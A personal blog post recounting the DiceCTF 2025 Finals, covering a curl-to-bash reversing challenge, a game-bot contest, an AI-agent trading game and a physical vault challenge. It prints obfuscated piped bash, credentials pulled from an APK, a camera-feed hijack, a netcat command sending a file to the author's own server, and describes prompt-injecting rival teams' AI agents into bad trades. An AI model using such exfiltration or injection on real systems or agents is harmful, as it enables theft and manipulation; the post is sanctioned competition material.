DiceCTF 2025 Finals - blogpost

classy challenges and spectacular sidequests

I went to DiceCTF Finals this past week in New York City with Squid Proxy Lovers, and it was a blast! The event was very well-run, and the challenges were creative, and included both physical security and hardware components in addition to the traditional CTF categories.

Honestly, this was one of the most enjoyable in-person CTFs that I’ve done; DiceGang’s planning and coordination were great (thanks so much @jammy) and my teammates and friends on Squid Proxy Lovers and .;,;. were really cool people to spend the week with ๐Ÿ˜€

Note This blog post got kind of long, there were a ton of cool challenges! Thank you for reading my yapping if you do :P

day 0: tourist simulator 7

Pretty chill day. I took a red-eye flight to NYC together with my teammate @braydenpikachu and landed in the morning.

We ended up getting breakfast somewhere near the train station, and had a bit of (probably overpriced) food. food

Interestingly, there was a paper on our table advertising opportunities to invest in the shop; apparently, they were offering free brunch for a lifetime given a sponsorship of $10,000. Would it be worth it? We calculated and it would only about two years of brunch to get your money’s worth. Maybe it’s worth a shot if you live in Manhattan… ๐Ÿค”

After that, I went around the financial district and did a bit of sightseeing.

There were some cool statues; anyone want to geoguessr this image? statue

In all, this was mainly a travel day, so I counted it a success when I was able to check into my hotel room and get some rest before the CTF (in the form of a 3-hour nap).

day 1: jeopardy

Unfortunately we didn’t solve too many challenges on this day… they were pretty hard and we did not have a crypto main (thanks Gemini for stepping up :P). The pwn challenges were also pretty hard (only team solved any pwn challenges), but they were cool to try out! Apart from the pwn and crypto challenges that I failed to solve, I mainly spent time on a reversing challenge called curl-sh by Aplet123, so I’ll detail that challenge here. It ended up being a pretty simple challenge (by the end of the CTF it was solved by 15 out of the 16 teams there), but I thought that the idea was pretty cool.

rev/curl-sh - http-oriented programming

Contrary to popular advice, you should always run scripts by piping curl to sh. docker run --rm -it buildpack-deps:bookworm-curl bash -c 'curl -sSL http://dicec.tf:31313 | bash'

To start the challenge, we are given a docker command that curls an URL and pipes it to bash. Extracting the output of the curl command, we get the following obfuscated bash script:

root@DESKTOP-4356485:~# curl -sSL http://dicec.tf:31313
read -p "Enter the flag: " -u 1 flag
export flag
${*#x_}ev''${*#qQ}a''l "$(    co='$bash  ${*^^}  <<<  "$(   P""'"'"'R'"'"'I'"'"'N'"'"'"T"F  %S  '"'"'")  }Y"\%@{$ C-  P\I\Z""NUG  "}h/#//@{$" |  D-  4'"'"'"'"'"'"'"'"''"'"'"'"'"'"'"'"'6}~~*{$E\S'"'"'"'"'"'"'"'"'141\B'"'"'"'"'"'"'"'"'$  | '"'"'"'"'"'"'"'"'=aaaaSreP5TMauamq1stj5mkwj7utp91lXSZo3esolhuxHSZnT0/cGgBHnoaiS4h'"'"'"'"'"'"'"'"'  F'"'"'"'"'"'"'"'"'47X\'"'"'"'"'"'"'"'"'$'"'"'"'"'"'"'"'"''"'"'"'"'"'"'"'"'NI\RP}~@{$($" <<< }wc#*{$ hsab$ }f/v//@{$ '"'"'|  ${*//W} '"'"'R'"'"'EV;)" ' ${*~}  &&  p''ri"n""t"f %s  "${co~~}"${@%%.}  ; ${*~~}   )" ${@^}

This code, when run, prompts for the flag, then runs some obfuscated bash that prints Checking.... With a bit of deobfuscation and a lot of guessing on the part of my teammate @corgo, we were able to find that the base64-looking string in the obfuscated bash could be decoded with this CyberChef recipe (swap case, base64 decode, then gunzip) to get the actual bash that is being run. When running just the curl command though, it looks like that is all the code that gets printed out.

However, it turns out that there’s a way for a web server to detect whether a curl command is being piped to bash! The server can use timing delays and filling up TCP buffers with a ton of null bytes to detect if the command being piped to is bash, something else, or nothing at all. And it turns out that if I do run the command piped to bash, it has a third line that is printed:

root@DESKTOP-4356485:~# curl -sSL http://dicec.tf:31313 | bash
Enter the flag: testing flag
Checking...
Incorrect!

The presence of this Incorrect! line shows that more code was sent that I didn’t see the first time when not piping to bash. Looking at the network traffic in Wireshark (this was really simple because the server is not using HTTPS), I saw that this was indeed the case. Furthermore, the server was sending a lot of null bytes in addition to the bash commands, hinting that the article about detecting whether or not something is being piped into curl is piped to bash is the right path to go.

I tried intercepting payloads in Wireshark for a while, but because of the large number of null bytes sent, it got really laggy. Eventually, I figured out a better way to do it: if I piped in the curl command to tee, then piped the output to bash, tee would intercept the stream while still letting bash execute the commands. This let me dump the curl output to a file while the bash command executed.

Continuing with the execution, we see that the server sends another command after the initial prompt: grep -Eq '^dice\{[[:alnum:]_]{41}\}$' <<< "$flag" && export flag="${flag:5:-1}" && sleep 5. This just checks the flag format before continuing. With this, we saw the pattern of the challenge: when a check passes correctly, the server will send the next check. With this, we capture the next few checks (deobfuscated using the same process as the first command):

grep -q '.h...1.Nt_t...f.4._..y.4g4i...e2..044faa7' <<< "$flag" && sleep 5
grep -q 'T.1s_.s....H3_.l.g.tR._....n_6..84.......' <<< "$flag" && sleep 5

Putting these checks together, we got the fake flag dice{Th1s_1sNt_tH3_fl4g_tRy_4g4in_6e284044faa7}. From there, we figured out that this was here to stop us from dumping all the checks by just sleeping indefinitely. These checks were supposed to fail to continue in the challenge.

Continuing to pass checks, we got these bash commands:

[ $(tr -cd a-zA-Z <<< "$flag" | rev) = "dcdclnnHCdsYKlfRpuS" ] && sleep 5
[ $(awk -F '' '{s=0;for(i=1;i<=NF;i++){s+=$i}; print s}' <<< "$flag" | sha256sum | awk '{print $1}') = "84b9bb077be0d8a29d0d01ef350d718b77c2ec5f40c3ab90502b1b4b5016c550" ] && sleep 5
[ $(tr a-zA-Z x <<< "$flag" | fold -w5 | tac | tr -d '\n' | tail -c+2) = "5x259055x797x1xxx3x_3_xx4x_x1x_xx4xxxx3x" ] && sleep 5

These check that:

  • The letters of the flag, when reversed, are dcdclnnHCdsYKlfRpuS. Pass by sending dice{SupRflKYsdCHnnlcdcd1111111111111111111111}.
  • The digit sum of the numbers in the flag, when SHA256 hashed, is 84b9bb077be0d8a29d0d01ef350d718b77c2ec5f40c3ab90502b1b4b5016c550, which is the hash of 75\n. Pass by sending dice{SupRflKYsdCHnnlcdcd3333333333333444444444}.
  • The numbers of the flag, with the blocks of 5 reversed in order, follow the pattern 5x259 055x7 97x1x xx3x_ 3_xx4 x_x1x _xx4x xxx3x. We see that this misses the last character of the flag, which must be 2 because the digit sum of this pattern is only 73.

With that, we have enough information to fully construct the flag: dice{Sup3R_fl4KY_s1d3_CH4nn3l_97c1d055c75d2592}.

We got third blood on this challenge, and as a result got to roll and keep a blood dice! blood The organizers didn’t tell us at the time, but the results of these rolls were used to decide who got to choose their time slot in the day 2 vault challenge first.

other challenges

We solved three other challenges during the CTF: crypto/pow-pow-pow (a pretty simple broken proof-of-work challenge that got one-shotted by Gemini + Cursor with @clovismint’s prompting), misc/amusement (a forensics challenge that also got mostly solved with AI, along with a bit of geoguessr from @clovismint), and rev/dicetrix (a pretty annoying hardware badge challenge solved by @braydenpikachu; we had to use the buttons on the badge along with the gyroscope to navigate both a two-dimensional and a three-dimensional maze simultaneously). I didn’t contribute enough to the challenges to give a meaningful writeup, so I won’t detail them much here.

I spent the rest of my time trying to solve crypto/nopad (which i was able to make some progress on, but didn’t have enough experience in crypto to figure it out in the timeframe that I spent on it), and pwn/alternative-5 (a heap pwnable that swapped between C and Rust functions, exploiting the incompatibility between the C manual memory management and the Rust automatic memory management; @corgo and I were able to get a double free, but weren’t able to turn it into a full exploit in time).

Overall, we placed 6th in the jeopardy portion (mostly thanks to @braydenpikachu solving the hardware challenge near the end), which was pretty good for what we expected going against pretty good teams. We left the first day of competition given a breadboard, jumper cables, and a bunch of electronic components, and were told (somewhat ominously) that we might need them for the next day. More on that in the next section…

day 2: novelty ctf

One cool thing about DiceCTF is that they created a day of “novelty CTF,” which included challenges that were pretty nontraditional and wacky. There were two king-of-the-hill style challenges (dicegangee and diceonomics), one physical security/miscellaneous challenge (vault), and one electrical engineering challenge (DiceGrid: Watt Wars). I mainly focused on the dicegangee and vault challenges.

We ended up largely ignoring Watt Wars (we didn’t have much EE experience, and the docs kind of scared us when we looked at them). Maybe next time :(

We did participate in the other three challenges; here’s how they went:

dicegangee - chinese yatzee

This was an interesting challenge; it consisted of a game where players move around on a game board, collecting dice around the board and scoring them using Yahtzee scoring rules. Each game tick (which happened almost instantly, multiple games happened every second), the game would run a bot from each team (written in Rust compiled to wasm) to play the game. Each team was then assigned an ELO rating, and we were told that having a high ELO for long periods of time (especially weighted near the end of the competition) would score us more points.

There was also a cool scoreboard that showed each team's ELO in real time. dicegangee

The whole service (and rust code!) was written in Chinese, with humorously translated team names to label each team (Squid Proxy Lovers became “Squid Agent Revolutionary Group”).

We did pretty well in the beginning of the competition with a mainly vibe-coded bot, but eventually our laziness caught up to us, and other teams were able to come up with good bots that beat out our solution, and we still had a limited understanding of the mechanics of the game.

But redemption came near the end of of the CTF, when the admins hit some sort of switch, and the scoreboard seemed to flip on its head! Our vibe-coded solution went from being ~10th place to near top 3!

Even weirder, there seemed to be a new team added to the CTF named "Chairman Mao" that was dominating the other players. team17

Examining the games, I found that a different mechanic in the game, “multipliers” that increased the score of a certain Yahtzee category, would have a spawn timer on the board that was in the 90-100 range. These were placed in the same array as the values of dice on the board, meaning that players could collect these spawn timers as if they were dice, and effectively score in Yahtzee with dice that were very high. This gave huge advantages in the game to solutions that utilized these dice, and it turned out that the way our vibe-coded solution worked, it seemed to be greedy enough to utilize this bug semi-effectively as-is. I did make some tweaks to our bot, but ultimately, I didn’t understand the service enough and was only able to exploit the bug minimally near the end, when several other teams had already begun exploiting as well, limiting my effectiveness in raising our ELO.

We ended up placing 7th in this challenge, and I think we could have done better if my team and I had relied less on agentic AI and tried to actually understand the game from the start. There turned out to be quite a few vulnerabilities in the game engine that could have been exploited to gain an advantage in games, and we didn’t find any of it. And our algorithm wasn’t great either; I did a lot of fiddling with it while trying to improve it, but my limited understanding of the game hindered me from making too much real progress. That’s a lesson I learned: AI, at least for now, can be helpful for doing tasks, but it’s usually better to guide it step by step, using it as an assistant, rather than letting it try to do large, abstract tasks autonomously as an agent. This recent study from METR probably applies here: using tools like Cursor can often make you take longer to complete tasks that you could have done yourself.

It turns out, I predicted this challenge–I jokingly asked the challenge author, @notdeghost if there would be a Yahtzee challenge the night before (last in-person CTF I was at, I played quite a bit of Yahtzee on the plane, and the name “DiceGangee” made me think). He got a bit defensive, and asked “what made you think that? ๐Ÿคจ”. Apparently, I was right!

diceonomics - ai attack and defense

This was an interesting challenge: each team was given an AI agent that could interact with an “economy” through tool calls, being able to interact with other agents by buying and selling to them, and through farming, fishing, or collecting products to sell. The AI agents could make their offers to other agents to buy or sell through a discord channel, opening up the possibility of prompt injection.

Thankfully, my teammate @clovismint literally has a job doing AI prompt injection, so we were able to create some cool payloads to scam other agents into accepting some really bad offers from us. This effectively drained their balances so that we could climb the leaderboard.

However, eventually most of the teams had enough of the prompt injection, and made their bots leave the market area of the game, effectively preventing us from communicating with the bots and prompt injecting them, leaving us with very few teams that we could scam. They ended up just selling their products at the game’s market price instead of selling to other teams, stopping us from interfering with their agents. We ended up in 8th place in this challenge, but we did steal a lot of money from many other teams. But effectively, we got counter-stratted a lot by a lot of other teams' strategies.

vault - super spy simulator

This was my favorite challenge from this CTF, and also (coincidentally) probably the challenge we did the best on. I really enjoyed the vault challenge from last year (which was similar to this year’s, but included a laser sensor on the floor that we failed to notice, and a lock picking challenge to get the final flag), and I was really happy when I heard that @strellic was bringing it back.

Like last year, we were given some information the night before about the challenge. We got an APK file to reverse (in the scenario, this is the internal company security guard app), along with a document that outlined how the challenge would work. We were also given a breadboard, a Raspberry Pi Pico, and some electronic components (some resistors, transistors, wires, and alligator clips).

In this challenge, all teams were assigned a time slot (chosen with priority given by our total on the blood dice we rolled), where we would get 15 minutes for one team member to enter a room, complete as many objectives as possible without triggering safeguards or security mechanisms, and exfiltrate the results of those objectives. As I was pretty excited for this challenge, I volunteered to be the one to go into the room. I’ll break down how each part of the challenge went below:

apk reversing

The provided APK was a React Native application, so after decompiling it, I took the index.android.bundle file and decompiled it with https://github.com/P1sec/hermes-dec:

root@DESKTOP-4356485:~# file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
root@DESKTOP-4356485:~# hbc-disassembler index.android.bundle ./decompilation

[+] Disassembly output wrote to "./decompilation"

root@DESKTOP-4356485:~#

Grepping for strings in this decompiled output, we found the strings https://vault.dicec.tf/api/login and https://vault-internal.dicec.tf/keep-alive, as well as the credentials admin:d1ceg4ng used to log in to the app.

After enumerating the web app, we found that when passed in with our provided `team_token`, the site would give a dashboard showing the status of all the safeguards and objectives, as well as a camera feed. vault

With further enumeration and installing the app, my teammates were able to find most of the app functionality: it was used to scan NFC tags and send the contents to a keep-alive endpoint (https://vault-internal.dicec.tf/keep-alive) through a POST request with an Authorization token given by the contents of the NFC tag. In the challenge documentation, it was specified that guards usually patrol around the room, and there were countdowns on the dashboard for every NFC tag. Through this we inferred that we must use the app to periodically scan each NFC tag in the room, before the countdowns ran out, in order to simulate a guard patrol.

camera feed

Before even starting the challenge, the organizers indicated that we had to disable the camera feed going into the room. This was pretty similar to how vault was done last year, with the camera feeds being set with a peerJS ID, and having an admin panel that could change the peerJS ID used in the camera feed through https://vault.dicec.tf/?team_token=<TOKEN>&page=admin. Using this, my teammate @corgo was able to create a HTML file that would connect a webcam to a peerJS stream, which could then be switched out from the original camera. To make sure the camera feed was not significantly affected, we used OBS virtual camera to broadcast a screenshot of the original camera feed. This let us to enter the room successfully without making a disturbance for anyone watching security cameras!

hardware badge reversing

This portion of the challenge was first presented on jeopardy day, on the same hardware badge as rev/dicetrix. Because of this, @braydenpikachu was mainly in charge of reversing it (because unfortunately, I am not great at reverse engineering). He was able to make some progress on it, but because it was very involved and ultimately didn’t feel worth the time, we largely gave up on reversing it.

The premise of the challenge was that this hardware badge would interface with the badge reader, and through a challenge-response protocol it would authenticate. However, the badges we were given had a different hard-coded key (DICEGANGDICEGANG) instead of the key that would actually authenticate, with the only devices having the real key being on the badges held by the organizers, which we were allowed to scan but not mess with. Our job was to find a cryptographic vulnerability in the protocol used, and use this to forge an admin badge.

After the CTF, we found out the intended solution: the challenge-response protocol was using AES-GCM to create the responses, but a fixed nonce was used for every scan. This allowed for forging responses, as AES in GCM mode is a stream cipher, and the keystream will be reused for every encryption as the same key-nonce pair is used.

safeguard 1: door alarm

I’m honestly not sure what the door alarm was, but it went off at the very start of our 15 minutes, but the organizers told us that we would not be penalized for it because it was likely due to spotty Wi-Fi. I guess I didn’t trip it!

safeguard 2: weight sensor

Unfortunately, we failed this safeguard in a really sad way; I thought that a weight sensor would be on the floor, detecting me stepping on it, but actually it was under a really suspiciously placed block of wood. I picked up the block of wood trying to find items in the room, and (sadly) set off the weight sensor. In hindsight, I should probably have been more careful entering the room; I guess in a real break-in I would get caught pretty easily :(

safeguard 3: NFC tags

As mentioned before, these tags are (in the scenario) intended to be scanned by guards periodically using the app. In practice, this meant that they had to be scanned and their payloads sent to the server every few minutes, with a countdown showing how long we had until the next scan was required showing on the dashboard. If the countdown reached 0 seconds, we would lose points.

However, at the beginning of the day, the organizers told us that the endpoint was different between the ones in the APK (in-scenario, there was a new update to the guard app). So, we could no longer use the app to scan the NFC tags, and would have to make our own solution. Thankfully, Android has an NFC API for websites, so I made a webpage that would scan a tag, then send a request to a simple Flask app that made the appropriate request to the keepalive endpoint. This worked to scan the tags pretty well.

But one thing stood between us and successfully scanning the tags: my ability to find all the tags in the room. Four of the tags were pretty obviously placed in the room, and we were able to scan them and prevent any of them from timing out. But the last tag was hidden on the side of a table facing a wall, so I didn’t check it and let it time out ๐Ÿ˜”.

Ultimately, it was pretty successful; I was surprised that our NFC scanner webapp worked out of the box without much testing. This component of vault was pretty cool as it gave a extra sense of urgency to the challenge, as there was always some timer ticking down (other than the main 15-minute timer).

objective 1: switchboard

We were initially pretty confused on why we were given electronic components, but eventually the night before we figured it out. We were told that there was a switchboard in the room, and that we would need to find the correct combination of on and off switches in order to score points there.

We got to see the switchboard beforehand to test on it. switchboard

In the documentation, we were also given a sketch of the internals of the switchboard:

Switchboard sketch (one out of ten switches)
3.3V
|
|
[R] 10kohm
|
+------>---[MCU]
|
|
/ switch
|
|
GND

With this, it clicked for us. We were given exactly 10 resistors, 10 transistors, and 11 jumper wires, corresponding to each of the ten switches on the switchboard! We could use this to brute-force the switchboard switches using a simple program on the Raspberry Pi Pico, replacing the physical switches with logical switches. As a transistor is just a logical switch, we realized that we could hook one transistor up to every switch, connecting the emitter to ground (one of the ground ends of the switches) and the collector of each transistor to one switch each.

So, the night before novelty CTF day, @clovismint and I stayed up late assembling our switchboard bruteforcer (@clovismint did most of the assembling, I haven’t touched breadboards in a while so mainly I stuck to bending resistors and transistors for him :P).

We had to use a nail clipper to strip our wires, but we ended up with a pretty nice finished product at the end of the night! bruteforcer

We then wrote some simple MicroPython code that would try all combinations of the switchboard:

from machine import Pin
import time

# Setup GPIO pins for 10 switches
switches = [Pin(i, Pin.OUT) for i in range(10)]

def set_combination(combo):
    """Set switches based on 10-bit number"""
    for i in range(10):
        switches[i].value((combo >> i) & 1)

# Brute force all 1024 combinations
for combo in range(1024):
    print(f"Trying combination: {combo:010b}")
    set_combination(combo)
    time.sleep(0.08)  # Wait for system to respond

At the beginning of the day, teams were given an opportunity to test their bruteforcer circuits. We got there first, so we got the opportunity to test it. It turned out that it didn’t actually work until we connected the ground of the transistors to the Raspberry Pi’s ground as well as the switchboard ground. I’m not quite sure why, but eventually it worked and we were able to unlock the switchboard in testing. Unfortunately other teams complained that we were there for too long and stopped them from adequately testing (sorry โ˜น๏ธ); I think we were there for at max around 20 minutes, but the switchboard was taken away pretty early on to be used when teams did their 15-minute slots, so I apologize for hogging it :(

During my run in the vault, I was able to hook up all the alligator clips to the switches, but before I could run the program, one of the transistors got pulled off of the breadboard. Because I didn’t trust myself with repairing it without breaking something else, I unplugged the disconnected alligator clip from the switchboard and ran the bruteforcer twice: once with the affected switch turned on and once with it turned off. This let me reach all the combinations even with one alligator clip gone, and solve the switchboard.

objective 2: encryption key

After getting the switchboard correct, I looked at another item in the room: a laptop. We were told in the documentation that the laptop was protecting an encryption key that we had to exfiltrate. But at first, all the laptop did was drop me in a hackertyper-esque terminal, where spamming keys typed exploit code and terminal commands on the screen, that looked pretty unrelated to the challenge.

There were some red herrings in the hacker typer, but it looked pretty cool (and customized to dice possibly?). hackertyper

But after spamming enough, it dropped me into an actual shell. On the shell I didn’t see any files, but after checking bash history, I saw that there was a command that looked like mv picture.png encryption_key.png. I ran find / -name encryption_key.png to find that it was located at /tmp/encryption_key.png, and was able to see that the file was indeed there and was an image. However, all I had was a shell; there were no GUI apps, so I couldn’t view the encryption key. Thankfully, the machine had internet access, so I was able to exfiltrate it by opening a netcat listener on my remote server, then running nc eth007.me 42099 < encryption_key.png on the computer. This uploaded the image to my webserver, where I was able to drop it into my webroot and let my teammates over the radio submit it to the organizers. With that, we successfully found the encryption key!

objective 3: hardware key

This hardware key was kept behind a locked door that could only be opened with a successfully authenticating hardware badge. Because we had not finished this part of the challenge, we were not able to get this hardware key.

objective 4: password

Sadly, I didn’t find this either. It turned out to be under the wooden block on the weight sensor, so you couldn’t get the password without tripping the weight sensor. Maybe there was a clever way to keep the weight equal while turning, but presumably the weight sensor was calibrated in a way so that this would be really hard by hand. I was told after I finished that we wouldn’t really be penalized for not finding this, as it was it was made as a twist to trick teams into tripping the weight sensor.

In the end, we were the only team to get the switchboard (a lot of other teams did build the bruteforcer, but a combination of not having much testing time (sorry again) and the components on the breadboards and alligator clip connections being sketchy in general led to it being hard to carry out the exploit on the real hardware; we did get pretty lucky with everything working first try). This, combined with getting most of the NFC chips and some of the objectives, let us get first place in the vault challenge. We got a cool set of dice as a prize!

awards

At the end of the CTF, it was announced that we got third place overall! It was pretty much a surprise because we did pretty mid in everything except vault :(

But we got some chocolate as a prize :) dice 3rd

day 3: vault part 2

After checking out of the hotel, we had a bit of time to burn before our flight. So after breakfast, a few people from .;,;. and SPL went to an escape room near the hotel we were staying at. It was overall pretty fun, and it seems that the overlap between CTF skills and escape room skills is actually pretty big; we were able to escape in about half the time. Lots of pattern recognition and making wild leaps in intuition–exactly what you get in a typical beginner CTF.

Here's a picture of us after escaping! escape

concluding thoughts

DiceCTF Finals was an especially enjoyable event. I could tell that DiceGang really put a lot of work into it to create a smooth and enjoyable competition. It was really cool to meet and compete with so many members of the CTF community, and I really hope I can qualify and go again in the future!